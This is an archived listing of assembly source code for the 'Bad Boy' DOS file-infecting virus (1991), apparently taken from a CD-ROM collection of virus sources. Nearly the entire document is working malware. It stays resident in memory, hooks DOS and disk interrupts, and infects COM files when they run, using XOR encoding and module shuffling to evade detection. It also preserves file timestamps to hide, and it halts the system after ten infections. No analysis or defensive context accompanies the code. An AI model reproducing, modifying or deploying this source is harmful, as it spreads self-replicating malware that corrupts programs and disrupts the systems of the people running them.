home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / BADBOY.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  13KB  |  509 lines

  1.  
  2. code          segment
  3.           assume cs:code,ds:code
  4.           .radix 16
  5.           org  100
  6. start:
  7.           push word ptr cs:[table+2]
  8.           push cs
  9.           pop  ds
  10.           jmp  word ptr cs:[table]      ;go to module 1
  11.  
  12. curofs          dw   ?
  13. files          db   0               ;number of infected files from this copy
  14. fsize          dw   2               ;size of infected file
  15. ftime          dw     ?
  16. fdate          dw     ?
  17. stdint21      dd     ?
  18. oldint13      dd     ?
  19. oldint21      dd     ?
  20. oldint24      dd     ?
  21.  
  22. ;------------- TABLE WITH MODULE PARAMETERS --------------------
  23. table:
  24.           dw   offset false_mod_1 ;00
  25.           dw   offset mod_2       ;02
  26.           dw   offset mod_3       ;04
  27.           dw   offset mod_4       ;06           ;offset modules
  28.           dw   offset mod_5       ;08
  29.           dw   offset mod_6       ;0a
  30.           dw   offset mod_7       ;0c
  31.           dw   offset mod_8       ;0e
  32.  
  33.           dw   offset mod_2 - offset mod_1;10
  34.           dw   offset mod_3 - offset mod_2;12
  35.           dw   offset mod_4 - offset mod_3;14
  36.           dw   offset mod_5 - offset mod_4;16
  37.           dw   offset mod_6 - offset mod_5;18    ;size modules
  38.           dw   offset mod_7 - offset mod_6;1a
  39.           dw   offset mod_8 - offset mod_7;1c
  40.           dw   offset myend - offset mod_8;1e
  41.  
  42.  
  43. ;------------- MODULE - 1 - CODER/DECODER ----------------------
  44. mod_1:
  45.           mov  bx,offset table+2   ;first module to working (module 2)
  46.           mov  cx,6            ;number of modules to working
  47. mod_1_lp1:
  48.           cmp  bx,offset table+0a
  49.           jne  mod_1_cont
  50.           add  bx,2
  51. mod_1_cont:
  52.           push bx
  53.           push cx
  54.           mov  ax,[bx]           ;ax - offset module
  55.           mov  cx,[bx+10]           ;cx - size of module
  56.           mov  bx,ax
  57. mod_1_lp2:
  58.           xor  byte ptr [bx],al
  59.           inc  bx
  60.           loop mod_1_lp2
  61.           pop  cx
  62.           pop  bx
  63.           add  bx,2
  64.           loop mod_1_lp1
  65.           ret
  66.  
  67. ;------------- MODULE - 2 - MUTATION TO MEMORY -----------------
  68. mod_2:
  69.              ;instalation check
  70.  
  71.           mov    es,cs:[2]                   ;memory size
  72.           mov    di,100
  73.           mov    si,100
  74.           mov    cx,0bh
  75.           repe   cmpsb
  76.           jne    mod_2_install               ;jump if not install
  77.           jmp    word ptr cs:[table+06]  ;if install, jump to module 4
  78.  
  79. mod_2_install:
  80.              ;instalation
  81.  
  82.           mov    ax,cs
  83.           dec    ax
  84.           mov    ds,ax
  85.  
  86.           cmp    byte ptr ds:[0],'Z'
  87.           je     mod_2_cont
  88.  
  89.           jmp    word ptr cs:[table+6]        ;if no last MCB - go to mod4
  90.  
  91. mod_2_cont:
  92.           sub    word ptr ds:[3],0c0
  93.           mov    ax,es
  94.           sub    ax,0c0
  95.           mov    es,ax
  96.           mov    word ptr ds:[12],ax       ;decrement memory size with 2K
  97.           push   cs
  98.           pop    ds
  99.  
  100. mod_2_mut:
  101.           mov  byte ptr cs:files,0
  102.  
  103.           mov  di,100
  104.           mov  cx,offset mod_1-100
  105.           mov  si,100
  106.           rep  movsb     ;write table to new memory
  107.  
  108.           mov  bx,word ptr cs:[table]
  109.           add  bx,offset mod_1_lp2-offset mod_1+1
  110.           xor  byte ptr [bx],18               ;change code method
  111.  
  112.           mov  cx,8
  113.           mov  word ptr curofs,offset mod_1
  114. mod_2_lp1:
  115.           push cx
  116.           call mod_2_rnd ;generate random module addres
  117.           push bx         ;addres in table returned from mod_2_rnd
  118.           mov  ax,[bx]   ;offset module
  119.           push ax
  120.           add  bx,10
  121.           mov  cx,[bx]   ;length of module
  122.           pop  si
  123.           pop  bx
  124.           xchg di,curofs
  125.           mov  word ptr es:[bx],di ;change module offset in table
  126.           rep  movsb           ;copy module to new memory
  127.           xchg di,curofs           ;change current offset in new memory
  128.           mov  ax,8000
  129.           or   word ptr [bx],ax    ;mark module - used
  130.           pop  cx
  131.           loop mod_2_lp1
  132.           mov  cl,8
  133.           not  ax
  134.           mov  bx,offset table
  135. mod_2_lp2:
  136.           and  word ptr [bx],ax    ;unmark all modules
  137.           add  bx,2
  138.           loop mod_2_lp2
  139.  
  140.           jmp  word ptr cs:[table+4]  ;go to module 3
  141.  
  142. mod_2_rnd:
  143.           push cx
  144.           push es
  145.           xor  cx,cx
  146.           mov  es,cx
  147. mod_2_lp3:
  148.           mov  bx,es:[46c]
  149.           db 81,0e3,07,00  ;and bx,7
  150.           shl  bx,1
  151.           add  bx,offset table
  152.           test [bx],8000
  153.           jnz  mod_2_lp3
  154.           pop  es
  155.           pop  cx
  156.           ret
  157.  
  158. ;------------- MODULE - 3 - SET INTERRUPT VECTORS ---------------
  159. mod_3:
  160.           xor    ax,ax
  161.           mov    ds,ax
  162.  
  163.           mov    ax,ds:[4*21]
  164.           mov    word ptr es:[oldint21],ax
  165.           mov    ax,ds:[4*21+2]
  166.           mov    word ptr es:[oldint21+2],ax
  167.  
  168.           mov    ah,30
  169.           int    21
  170.           cmp    ax,1e03
  171.           jne    mod_3_getvec
  172.  
  173.           mov    word ptr es:[stdint21],1460
  174.           mov    ax,1203
  175.           push   ds
  176.           int    2f
  177.           mov    word ptr es:[stdint21+2],ds
  178.           pop    ds
  179.           jmp    mod_3_setvec
  180.  
  181. mod_3_getvec:
  182.           mov    ax,ds:[4*21]
  183.           mov    word ptr es:[stdint21],ax
  184.           mov    ax,ds:[4*21+2]
  185.           mov    word ptr es:[stdint21+2],ax
  186.  
  187. mod_3_setvec:
  188.           cli
  189.           mov    ax,word ptr es:[table+0c]
  190.           mov    ds:[4*21],ax
  191.           mov    ax,es
  192.           mov    ds:[4*21+2],ax
  193.           sti
  194.  
  195.           mov    cx,es
  196.           mov    ah,13             ;
  197.           int    2f              ;
  198.           push   es              ;
  199.           mov    es,cx             ;
  200.           mov    word ptr es:[oldint13],dx     ; get standart int13 addres
  201.           mov    word ptr es:[oldint13+2],ds ;
  202.           pop    es              ;
  203.           int    2f              ;
  204.  
  205.           jmp    word ptr cs:[table+06]              ;go to module 4
  206.  
  207. ;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ----
  208. mod_4:
  209.           push   cs
  210.           push   cs
  211.           pop    ds
  212.           pop    es
  213.           mov    si,word ptr cs:[table+06]
  214.           add    si,offset mod_4_cont - offset mod_4
  215.           mov    di,cs:fsize
  216.           add    di,offset myend+1
  217.           push   di
  218.           mov    cx,offset mod_5 - offset mod_4_cont
  219.           cld
  220.           rep    movsb
  221.           ret
  222. mod_4_cont:
  223.           mov    si,cs:fsize
  224.           add    si,100
  225.  
  226.           cmp    si,offset myend+1
  227.           jnc    mod_4_cnt
  228.           mov    si,offset myend+1
  229. mod_4_cnt:
  230.           mov    di,100
  231.           mov    cx,offset myend-100
  232.           rep    movsb
  233.           mov    ax,100   ;
  234.           push   ax       ; jmp 100
  235.           ret          ;
  236.  
  237. ;------------- MODULE - 5 - SPECIAL PROGRAM ---------------------
  238. mod_5:
  239.           mov    ah,9
  240.           mov    dx,word ptr [table+8]
  241.           add    dx,offset msg-offset mod_5
  242.           push   cs
  243.           pop    ds
  244.           int    21
  245.           cli
  246.           hlt
  247.  
  248. msg          db     0dh,0a,'The bad boy halt your system ...',7,7,'$'
  249.  
  250. ;------------- MODULE - 6 - INT 24 HEADER -----------------------
  251. mod_6:
  252.           mov    al,3
  253.           iret
  254.           db     'The Bad Boy virus, Copyright (C) 1991.',0
  255.  
  256. ;------------- MODULE - 7 - INT 21 HEADER -----------------------
  257. mod_7:
  258.           push   bx
  259.           push   si
  260.           push   di
  261.           push   es
  262.           push   ax
  263.  
  264.           cmp    ax,4b00
  265.           je     mod_7_begin
  266.           jmp    mod_7_exit
  267. mod_7_begin:
  268.           push   ds
  269.           push   cs                    ;
  270.           pop    es                    ;
  271.           xor    ax,ax                   ;
  272.           mov    ds,ax                   ;
  273.           mov    si,4*24                   ;
  274.           mov    di,offset oldint24            ;
  275.           movsw                       ;   change int24 vector
  276.           movsw                       ;
  277.           mov    ax,word ptr cs:[table+0a]           ;
  278.           cli                       ;
  279.           mov    ds:[4*24],ax               ;
  280.           mov    ax,cs                   ;
  281.           mov    ds:[4*24+2],ax               ;
  282.           sti
  283.           pop    ds
  284.  
  285.           mov    ax,3d00                   ;
  286.           pushf                       ;
  287.           call   cs:oldint21               ;
  288.           jc     mod_7_ex                   ; open,infect,close file
  289.           mov    bx,ax                   ;
  290. mod_7_infect:                           ;
  291.           call   word ptr cs:[table+0e]           ;
  292.           pushf
  293.           mov    ah,3e                   ;
  294.           pushf                       ;
  295.           call   cs:oldint21               ;
  296.           popf
  297.           jc     mod_7_ex
  298.  
  299.           push   ds              ;
  300.           cli                 ;
  301.           xor    ax,ax             ;
  302.           mov    ds,ax             ;
  303.           mov    ax,word ptr cs:[oldint13]     ;
  304.           xchg   ax,word ptr ds:[4*13]     ;
  305.           mov    word ptr cs:[oldint13],ax     ; exchange int13 vectors
  306.           mov    ax,word ptr cs:[oldint13+2] ;
  307.           xchg   ax,word ptr ds:[4*13+2]     ;
  308.           mov    word ptr cs:[oldint13+2],ax ;
  309.           sti                 ;
  310.           pop    ds              ;
  311. mod_7_ex:
  312.           push   ds                    ;
  313.           xor    ax,ax                   ;
  314.           mov    ds,ax                   ;
  315.           mov    ax,word ptr cs:oldint24           ;
  316.           mov    ds:[4*24],ax               ;
  317.           mov    ax,word ptr cs:oldint24+2           ; restore int24 vector
  318.           mov    ds:[4*24+2],ax               ;
  319.           pop    ds                    ;
  320.  
  321. mod_7_exit:
  322.           pop    ax
  323.           pop    es
  324.           pop    di
  325.           pop    si
  326.           pop    bx
  327.  
  328.           jmp    cs:oldint21
  329.  
  330. ;------------- MODULE - 8 - INFECTING (bx - file handle) --------
  331. mod_8:
  332.           push   cx
  333.           push   dx
  334.           push   ds
  335.           push   es
  336.           push   di
  337.           push   bp
  338.  
  339.           push   bx
  340.           mov    ax,1220
  341.           int    2f
  342.           mov    bl,es:[di]
  343.           xor    bh,bh
  344.           mov    ax,1216
  345.           int    2f
  346.           pop    bx
  347.  
  348.           mov    ax,word ptr es:[di+11]
  349.           cmp    ax,0f000
  350.           jc     mod_8_c
  351.           jmp    mod_8_exit
  352.  
  353. mod_8_c:
  354.           mov    word ptr es:[di+2],2           ;open mode - R/W
  355.  
  356.           mov    ax,es:[di+11]
  357.           mov    cs:fsize,ax           ; save file size
  358.  
  359.           mov    ax,word ptr es:[di+0dh]   ;
  360.           mov    word ptr cs:[ftime],ax    ; save file date/time
  361.           mov    ax,word ptr es:[di+0f]    ;
  362.           mov    word ptr cs:[fdate],ax    ;
  363.  
  364.           push   cs              ;
  365.           pop    ds              ;
  366.           mov    dx,offset myend+1         ;
  367.           mov    cx,offset myend-100     ; read first bytes
  368.           mov    ah,3f             ;
  369.           pushf
  370.           call   cs:oldint21
  371.           jnc    mod_8_cnt
  372.           jmp    mod_8_exit
  373.  
  374. mod_8_cnt:
  375.           mov    bp,ax             ; ax - bytes read
  376.           mov    si,dx
  377.           mov    ax,'MZ'
  378.           cmp    ax,word ptr ds:[si]
  379.           jne    mod_8_nxtchk
  380.           jmp    mod_8_exit
  381. mod_8_nxtchk:
  382.           xchg   ah,al
  383.           cmp    ax,ds:[si]
  384.           jne    mod_8_cnt2
  385.           jmp    mod_8_exit
  386.  
  387. mod_8_cnt2:
  388.           push   es
  389.           push   di
  390.           push   cs              ;
  391.           pop    es              ;
  392.           mov    si,100             ;
  393.           mov    di,dx             ; check for infected file
  394.           mov    cx,0bh             ;
  395.           repe   cmpsb             ;
  396.           pop    di
  397.           pop    es
  398.           jne    mod_8_cnt1          ;
  399.           jmp    mod_8_exit
  400. mod_8_cnt1:
  401.           mov    word ptr es:[di+15],0     ; fp:=0
  402.  
  403.           push   es
  404.           push   di
  405.           mov    si,word ptr cs:[table+0e]
  406.           add    si,offset mod_8_cont - offset mod_8
  407.           xor    di,di
  408.           push   cs
  409.           pop    es
  410.           mov    cx,offset mod_8_cont_end - offset mod_8_cont
  411.           cld
  412.           rep    movsb
  413.           pop    di
  414.           pop    es
  415.  
  416.           mov    si,word ptr cs:[table+0e]
  417.           add    si,offset mod_8_cont_end - offset mod_8
  418.           push   si
  419.           xor    si,si
  420.           push   si
  421.  
  422.           push   ds              ;
  423.           cli                 ;
  424.           xor    ax,ax             ;
  425.           mov    ds,ax             ;
  426.           mov    ax,word ptr cs:[oldint13]     ;
  427.           xchg   ax,word ptr ds:[4*13]     ;
  428.           mov    word ptr cs:[oldint13],ax     ;
  429.           mov    ax,word ptr cs:[oldint13+2] ; exchange int13 vectors
  430.           xchg   ax,word ptr ds:[4*13+2]     ;
  431.           mov    word ptr cs:[oldint13+2],ax ;
  432.           sti                 ;
  433.           pop    ds              ;
  434.  
  435.           ret
  436.  
  437. mod_8_cont:
  438.           push   bx
  439.           call   word ptr cs:[table]     ; code virus
  440.           pop    bx
  441.  
  442.           mov    dx,100             ;
  443.           mov    ah,40             ; write code in begin
  444.           mov    cx,offset myend-0ff
  445.           pushf                 ;
  446.           call   cs:stdint21         ;
  447.  
  448.           pushf
  449.           push   bx
  450.           call   word ptr cs:[table]     ; decode virus
  451.           pop    bx
  452.           popf
  453.           jnc    mod_8_cont1
  454.           pop    ax
  455.           mov    ax,word ptr cs:[table+0e]
  456.           add    ax,offset mod_8_ext - offset mod_8
  457.           push   ax
  458.           ret
  459. mod_8_cont1:
  460.           mov    ax,es:[di+11]         ; fp:=end of file
  461.           mov    word ptr es:[di+15],ax     ;
  462.  
  463.           mov    dx,offset myend+1
  464.           mov    cx,bp             ; bp - files read
  465.           mov    ah,40             ;
  466.           pushf                 ;
  467.           call   cs:stdint21         ; write in end of file
  468.  
  469.           ret
  470.  
  471. mod_8_cont_end:
  472.           mov    ax,5701     ;
  473.           mov    cx,cs:ftime ;
  474.           mov    dx,cs:fdate ; restore file date/time
  475.           pushf         ;
  476.           call   cs:oldint21 ;
  477.  
  478.           inc    cs:files
  479.           cmp    cs:files,0a
  480.           jne    mod_8_ext
  481.           call   word ptr cs:[table+8]
  482.           jmp    short mod_8_ext
  483. mod_8_exit:
  484.           stc
  485.           jmp    short mod_8_ex
  486. mod_8_ext:
  487.           clc
  488. mod_8_ex:
  489.           pop    bp
  490.           pop    di
  491.           pop    es
  492.           pop    ds
  493.           pop    dx
  494.           pop    cx
  495.           ret
  496.  
  497. ;---------------------------------------------------------------
  498.  
  499. myend          db   0
  500.  
  501.           int    20            ;code of infected file
  502.  
  503. false_mod_1:
  504.           mov     word ptr cs:[table],offset mod_1
  505.           ret
  506.  
  507. code          ends
  508.           end  start
  509.